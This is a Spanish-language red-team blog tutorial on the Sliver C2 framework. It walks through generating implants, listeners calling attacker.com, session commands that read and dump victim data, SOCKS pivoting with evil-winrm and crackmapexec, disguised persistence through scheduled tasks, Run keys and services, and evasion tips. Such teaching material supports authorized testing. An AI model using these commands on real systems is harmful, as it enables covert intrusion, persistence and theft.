← Volver al blog

Red Team Notes - Introducción a Sliver C2

C2Red TeamGuía

Introducción

Sliver es un framework de Command and Control (C2) de código abierto desarrollado por BishopFox, diseñado específicamente para operaciones de Red Team y simulación de adversarios. Su propósito principal es gestionar y operar sistemas ya comprometidos, posicionándose en la fase de Post-Explotación según el framework MITRE ATT&CK.

┌─────────────────────────────────────────────────────────────────┐
│                    MITRE ATT&CK Framework                       │
├─────────────────────────────────────────────────────────────────┤
│  Reconnaissance → Initial Access → Execution → Persistence →    │
│  Privilege Escalation → Defense Evasion → Credential Access →   │
│  Discovery → Lateral Movement → Collection → C2 → Exfiltration  │
│                                              ▲                  │
│                                              │                  │
│                                         [SLIVER]                │
└─────────────────────────────────────────────────────────────────┘

¡Importante!: Sliver permite realizar acciones avanzadas de manera automatizada. Si eres principiante, te recomiendo encarecidamente practicar los ataques de forma manual primero. Entender el cómo y el por qué funcionan las cosas es infinitamente más valioso que copiar y pegar comandos como monos entrenados :)


¿Qué NO es Sliver?

Antes de continuar, desmitifiquemos algo que parece no quedar claro para muchos:

Lo que Sliver NO hace Lo que Sliver SÍ hace
Hackear sistemas mágicamente Gestionar sistemas ya comprometidos
Explotar vulnerabilidades Ejecutar comandos post-explotación
Hacer ingeniería social por ti Mantener acceso persistente
Convertirte en hacker Centralizar operaciones C2

Para llegar al punto donde Sliver es útil, primero necesitas dominar técnicas de acceso inicial: phishing, ingeniería social, explotación de vulnerabilidades, desarrollo de malware, y un extenso etcétera. Sliver es el paso después de que ya tienes un pie dentro.


Arquitectura de Sliver

Todo framework C2 se estructura en componentes cliente-servidor. En Sliver, esta arquitectura se compone de tres elementos fundamentales:

Servidor (Server)

Este es el cerebro de la operación y es responsable de cosas como:

  • Configuración general del framework
  • Gestión centralizada de todos los sistemas comprometidos
  • Compilación dinámica de implantes
  • Almacenamiento de datos de operación
  • etc, etc, etc

Cliente/Implante (Implant)

El cliente (conocido como Implant en el mundillo de Sliver) es el agente que se ejecuta en el sistema víctima. Sus principales características son:

  • Binario compilado específicamente para el target
  • Establece comunicación con el servidor
  • Ejecuta comandos recibidos del operador
  • Puede operar en modo session o beacon (este concepto es importante)

Session vs Beacon: Las sessions mantienen una conexión persistente en tiempo real, mientras que los beacons operan de forma asíncrona con intervalos de “check-in” configurables. Los beacons son más sigilosos para operaciones prolongadas.

Listener

Componente del servidor que escucha conexiones entrantes de los implantes. En Sliver los listeners soportan los siguientes protocolos:

Protocolo Puerto Común Uso Recomendado Consideraciones
mTLS 443 Operaciones generales Rápido, cifrado, difícil de inspeccionar
HTTPS 443, 8443 Ambientes corporativos Se mezcla con tráfico legítimo
HTTP 80, 8080 Testing, labs Sin cifrado, fácilmente detectable
DNS 53 Ambientes restrictivos Muy lento, pero evade muchos firewalls
WireGuard 51820 Túneles seguros Excelente para pivoting
┌──────────────┐         ┌──────────────┐         ┌──────────────┐
│   SERVIDOR   │◄────────│   LISTENER   │◄────────│   IMPLANTE   │
│   (Kali)     │  mTLS   │   (443)      │  mTLS   │   (Windows)  │
└──────────────┘         └──────────────┘         └──────────────┘
      │                                                   │
      │              Comunicación Bidireccional           │
      └───────────────────────────────────────────────────┘

Instalación del Servidor

La instalación de Sliver en sistemas basados en Debian/Ubuntu es trivialmente simple:

# Instalación automática (recomendado)
curl https://sliver.sh/install | sudo bash

Este script descarga e instala todas las dependencias necesarias y configura el demonio del servicio automáticamente.

Verificación del Servicio

# Verificar estado del demonio
sudo systemctl status sliver

# Output esperado:
# ● sliver.service - Sliver C2 Server
#    Active: active (running)

Comandos de Gestión del Servicio

# Iniciar el servicio (no inicia automáticamente al reiniciar)
sudo systemctl start sliver

# Detener el servicio
sudo systemctl stop sliver

# Habilitar inicio automático (opcional)
sudo systemctl enable sliver

# Acceder a la CLI del servidor
sliver

Nota: El servidor de Sliver no se inicia automáticamente al reiniciar la máquina. Deberás ejecutar sudo systemctl start sliver manualmente o habilitar el servicio con enable.


Generación de Implantes

Una vez dentro de la CLI de Sliver, podemos generar nuestros implantes. Primero, familiarízate con los comandos disponibles:

sliver > help

Comando generate

El comando generate es el núcleo de la creación de implantes. Su sintaxis básica es:

generate [flags]

Flags Principales

Flag Descripción Ejemplo
-o, --os Sistema operativo target -o windows, -o linux
-a, --arch Arquitectura del procesador -a amd64, -a 386, -a arm64
--mtls Usar protocolo mTLS --mtls 192.168.1.100:443
--http Usar protocolo HTTP/S --http 192.168.1.100:80
--dns Usar protocolo DNS --dns attacker.com
-s, --save Ruta donde guardar el binario -s /tmp/implant.exe
-n, --name Nombre personalizado -n target-implant
--skip-symbols Omitir símbolos (reduce tamaño) --skip-symbols
-f, --format Formato de salida -f exe, -f shared, -f shellcode

Ejemplo Práctico: Implante Windows con mTLS

sliver > generate -o windows -a amd64 --mtls 192.168.56.105:443

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 42s
[*] Implant saved to /home/kali/.sliver/builds/RANDOM_NAME.exe

Generación de Implantes Avanzados

# Implante como shellcode (útil para loaders personalizados)
generate -o windows -a amd64 --mtls 192.168.56.105:443 -f shellcode

# Implante como DLL (para DLL hijacking/sideloading)
generate -o windows -a amd64 --mtls 192.168.56.105:443 -f shared

# Beacon en lugar de session (más sigiloso)
generate beacon -o windows -a amd64 --mtls 192.168.56.105:443 --seconds 30 --jitter 10

Sobre la evasión: Sliver genera binarios con firmas únicas cada vez gracias a su compilación dinámica. Esto evade antivirus basados únicamente en firmas (sí, aún existen en 2026). Sin embargo, los EDR/XDR modernos detectan amenazas basándose en telemetría y comportamiento, haciendo la evasión por firmas prácticamente inútil en ambientes bien protegidos, como los que tienen al buen Windows Defender como primera línea de defensa. (xD)


Listeners: El Arte de Escuchar

Antes de ejecutar cualquier implante, debes configurar un listener. Sin listener, el implante no tiene a dónde conectarse.

Tipos de Listeners

# Listener mTLS (recomendado para mayoría de casos)
sliver > mtls -L 192.168.56.105 -l 443

# Listener HTTPS
sliver > https -L 192.168.56.105 -l 443 -d attacker.com

# Listener HTTP (solo para labs, nunca en producción)
sliver > http -L 192.168.56.105 -l 80

# Listener DNS (para ambientes muy restrictivos)
sliver > dns -d attacker.com

# Listener WireGuard
sliver > wg -l 51820

Parámetros Comunes

Parámetro Descripción
-L IP del servidor donde escuchar
-l Puerto de escucha
-d Dominio (para DNS/HTTPS)
-c Certificado personalizado
-k Llave privada

Gestión de Listeners

# Ver listeners activos
sliver > jobs

# Terminar un listener específico
sliver > jobs -k [JOB_ID]

# Terminar todos los listeners
sliver > jobs -K

Gestión de Sesiones

Una vez que el implante se ejecuta en el target y se conecta al listener, obtenemos una sesión.

Visualizar Sesiones

sliver > sessions

 ID         Transport   Remote Address       Hostname        Username   OS/Arch             
========== =========== ==================== =============== ========== ====================
 17ec36bc   mtls        192.168.56.110:52431 DESKTOP-TARGET  victim     windows/amd64

Interactuar con una Sesión

# Usando el ID completo o parcial
sliver > sessions -i 17ec36bc

# Ahora el prompt cambia indicando la sesión activa
sliver (RANDOM_NAME) >

Comandos Útiles en Sesión

# Información del sistema
sliver (session) > info
sliver (session) > whoami
sliver (session) > getuid
sliver (session) > getpid

# Navegación del filesystem
sliver (session) > pwd
sliver (session) > ls
sliver (session) > cd C:\\Users
sliver (session) > cat C:\\Users\\victim\\Desktop\\secrets.txt

# Transferencia de archivos
sliver (session) > upload /local/path/file.exe C:\\Windows\\Temp\\file.exe
sliver (session) > download C:\\Users\\victim\\Documents\\data.docx /local/path/

# Ejecución de comandos
sliver (session) > shell                    # Shell interactiva
sliver (session) > execute -o whoami        # Comando simple con output
sliver (session) > execute-assembly /path/to/tool.exe  # Ejecutar .NET assemblies

# Procesos
sliver (session) > ps                       # Listar procesos
sliver (session) > procdump -p [PID]        # Dump de memoria de proceso
sliver (session) > migrate -p [PID]         # Migrar a otro proceso

# Gestión de sesión
sliver (session) > background               # Enviar a segundo plano
sliver (session) > rename -n "DC-Admin"     # Renombrar sesión
sliver (session) > kill                     # Terminar sesión

Extensiones y Armory

Sliver incluye un sistema de extensiones llamado Armory que permite cargar herramientas adicionales, pero esto lo dejaré para una entrada más avanzada del blog:

# Listar extensiones disponibles
sliver > armory

# Instalar una extensión
sliver > armory install [extension-name]

# Algunas extensiones populares:
# - rubeus: Ataques Kerberos
# - seatbelt: Enumeración de seguridad
# - sharpwmi: Ejecución remota vía WMI

Pivoting y Port Forwarding

¿Qué es Pivoting?

El pivoting (también conocido como lateral movement) es una técnica que permite usar un sistema comprometido como “puente” para acceder a otros sistemas en la red que no son directamente alcanzables desde nuestra máquina atacante.

┌─────────────┐                    ┌─────────────────┐
│   ATACANTE  │                    │   RED INTERNA   │
│  (Kali)     │                    │                 │
│             │    ╔═══════════╗   │  ┌───────────┐  │
│             │◄───║  VÍCTIMA  ║───┼──│ Server A  │  │
│             │    ║  (Pivot)  ║   │  │ 10.0.0.10 │  │
│             │    ╚═══════════╝   │  └───────────┘  │
│             │         │          │  ┌───────────┐  │
│             │         └──────────┼──│ Server B  │  │
│   NO HAY    │                    │  │ 10.0.0.20 │  │
│   ACCESO    │────────────────────│  └───────────┘  │
│   DIRECTO   │                    │                 │
└─────────────┘                    └─────────────────┘

¿Qué es Port Forwarding?

El port forwarding es una técnica que redirige el tráfico de un puerto específico hacia otro destino. Existen varios tipos:

Tipo Descripción Uso Común
Local Redirige puerto local hacia destino remoto Acceder a servicios internos
Remote Expone puerto local en sistema remoto Reverse shells, callbacks
Dynamic Crea proxy SOCKS para múltiples puertos Scanning, navegación

Implementación en Sliver

Enumeración de Puertos Internos

Primero es importante identificar qué servicios están corriendo internamente en la víctima:

sliver (session) > execute -o "netstat -ano | findstr 127.0.0.1"

# O usando PowerShell
sliver (session) > execute -o "powershell -c Get-NetTCPConnection -LocalAddress 127.0.0.1"

De esta forma podemos verificar si efectivamente la víctima está corriendo servicios internos que desde nuestro Kali no podemos enumerar.

SOCKS5 Proxy (Proxy Dinámico)

La forma más versátil de hacer pivoting en Sliver es usando SOCKS5, aunque Ligolo me hace la vida más fácil, pero eso será tema para otro día:

# Iniciar proxy SOCKS5
sliver (session) > socks5 start

[*] Started SOCKS5 server on 127.0.0.1:1081

# El proxy ahora estará corriendo en tu Kali en el puerto 1081

Configuración de Proxychains

Edita /etc/proxychains4.conf:

# Comentar o eliminar cualquier proxy existente al final del archivo
# Agregar la siguiente línea:
socks5 127.0.0.1 1081

Uso con Proxychains

Ahora puedes alcanzar servicios internos de la red víctima:

# Escaneo de puertos internos
proxychains nmap -sT -Pn 10.0.0.10 -p 445,3389,22

# Conexión RDP a servidor interno
proxychains xfreerdp /v:10.0.0.10 /u:admin

# SMB enumeration
proxychains crackmapexec smb 10.0.0.0/24

# Evil-WinRM a DC interno
proxychains evil-winrm -i 10.0.0.10 -u administrator -p 'Password123!'

Port Forwarding Específico

Para redirigir un puerto específico:

# Redirigir puerto local 8080 hacia puerto 80 interno de 10.0.0.10
sliver (session) > portfwd add -b 127.0.0.1:8080 -r 10.0.0.10:80

# Listar port forwards activos
sliver (session) > portfwd

# Eliminar un port forward
sliver (session) > portfwd rm -i [ID]

Técnicas de Persistencia

¿Qué es Persistencia?

La persistencia se refiere a técnicas que permiten mantener acceso a un sistema comprometido incluso después de reinicios, cierres de sesión, o intentos de eliminación del malware. En MITRE ATT&CK, esto corresponde a la táctica TA0003 - Persistence.

Advertencia: Las siguientes técnicas deben usarse únicamente en entornos autorizados y controlados. El acceso no autorizado a sistemas es ilegal, no seas idiota, valora tu libertdad.

Tareas Programadas (Scheduled Tasks)

MITRE ATT&CK: T1053.005 - Scheduled Task/Job: Scheduled Task

Las tareas programadas permiten ejecutar código en momentos específicos o eventos del sistema.

# Crear tarea que se ejecuta al iniciar el sistema
schtasks /create /tn "WindowsUpdate" /tr "C:\ProgramData\update.exe" /sc onstart /ru SYSTEM /f

# Crear tarea que se ejecuta cada hora
schtasks /create /tn "SecurityScan" /tr "C:\ProgramData\scan.exe" /sc hourly /ru SYSTEM /f

# Crear tarea que se ejecuta al logon de cualquier usuario
schtasks /create /tn "Updater" /tr "C:\ProgramData\update.exe" /sc onlogon /f

# Listar tareas (verificación)
schtasks /query /tn "WindowsUpdate"

# Eliminar tarea (cleanup)
schtasks /delete /tn "WindowsUpdate" /f

Consideraciones OPSEC:

  • Usar nombres que se mezclen con tareas legítimas de Windows
  • Evitar nombres obvios como “backdoor” o “malware”
  • Considerar el usuario bajo el cual corre la tarea

Registry Run Keys

MITRE ATT&CK: T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys

Las claves de registro Run ejecutan programas automáticamente al inicio de sesión.

# Persistencia para usuario actual (HKCU - no requiere admin)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Users\Public\health.exe" /f

# Persistencia para todos los usuarios (HKLM - requiere admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\ProgramData\health.exe" /f

# Verificar registro
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

# Eliminar entrada (cleanup)
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f

Otras claves de registro útiles:

# RunOnce (se ejecuta una vez y se elimina)
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

# Run en Wow6432Node (para binarios de 32-bit en sistemas 64-bit)
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

Servicios de Windows

MITRE ATT&CK: T1543.003 - Create or Modify System Process: Windows Service

Los servicios de Windows proporcionan persistencia de alto privilegio.

# Crear servicio (requiere admin)
sc.exe create "WindowsSecurityService" binPath= "C:\ProgramData\security.exe" start= auto DisplayName= "Windows Security Service"

# Configurar descripción para parecer legítimo
sc.exe description "WindowsSecurityService" "Provides security monitoring and threat protection"

# Iniciar servicio manualmente
sc.exe start "WindowsSecurityService"

# Verificar estado
sc.exe query "WindowsSecurityService"

# Eliminar servicio (cleanup)
sc.exe stop "WindowsSecurityService"
sc.exe delete "WindowsSecurityService"

Tip: Los servicios corren como SYSTEM por defecto, proporcionando máximos privilegios. Sin embargo, son más visibles y monitoreados por soluciones de seguridad.


Otras Técnicas de Persistencia

Técnica MITRE ID Privilegios Detectabilidad
Startup Folder T1547.001 Usuario Baja
DLL Hijacking T1574.001 Varía Media
WMI Event Subscription T1546.003 Admin Alta
Logon Scripts T1037.001 Admin Media
BITS Jobs T1197 Usuario Media
COM Hijacking T1546.015 Usuario Alta

Consideraciones OPSEC

Buenas Prácticas Operacionales

  1. Naming conventions: Usa nombres que se mezclen con procesos legítimos
  2. Ubicación de archivos: Evita carpetas obvias como Desktop o Downloads
  3. Timestamps: Considera usar timestomping para modificar fechas de archivos
  4. Limpieza: Siempre ten un plan de cleanup post-operación
  5. Logs: Sé consciente de los logs que generas (Event Viewer, Sysmon, etc.)

Directorios “Seguros” para Implantes

C:\ProgramData\
C:\Windows\Temp\
C:\Users\Public\
%APPDATA%\Microsoft\

Referencias

Documentación Oficial

MITRE ATT&CK

Recursos Adicionales


Conclusión

Sliver es una herramienta poderosa en el arsenal de cualquier Red Teamer, pero recuerda: una herramienta es tan buena como quien la usa. No te limites a copiar comandos; entiende qué hace cada uno, por qué funciona, y cuándo es apropiado usarlo.

Si llegaste hasta aquí, felicidades. Ya tienes las bases para empezar a experimentar con Sliver en tu laboratorio. Ahora sal de aquí y ponte a practicar, que leer tutoriales no te hace hacker.

Nos vemos en la próxima nota.


¿Encontraste un error o tienes sugerencias? Contáctame en mis redes.

Tags: Red Team C2 Sliver Post-Exploitation Persistence Pivoting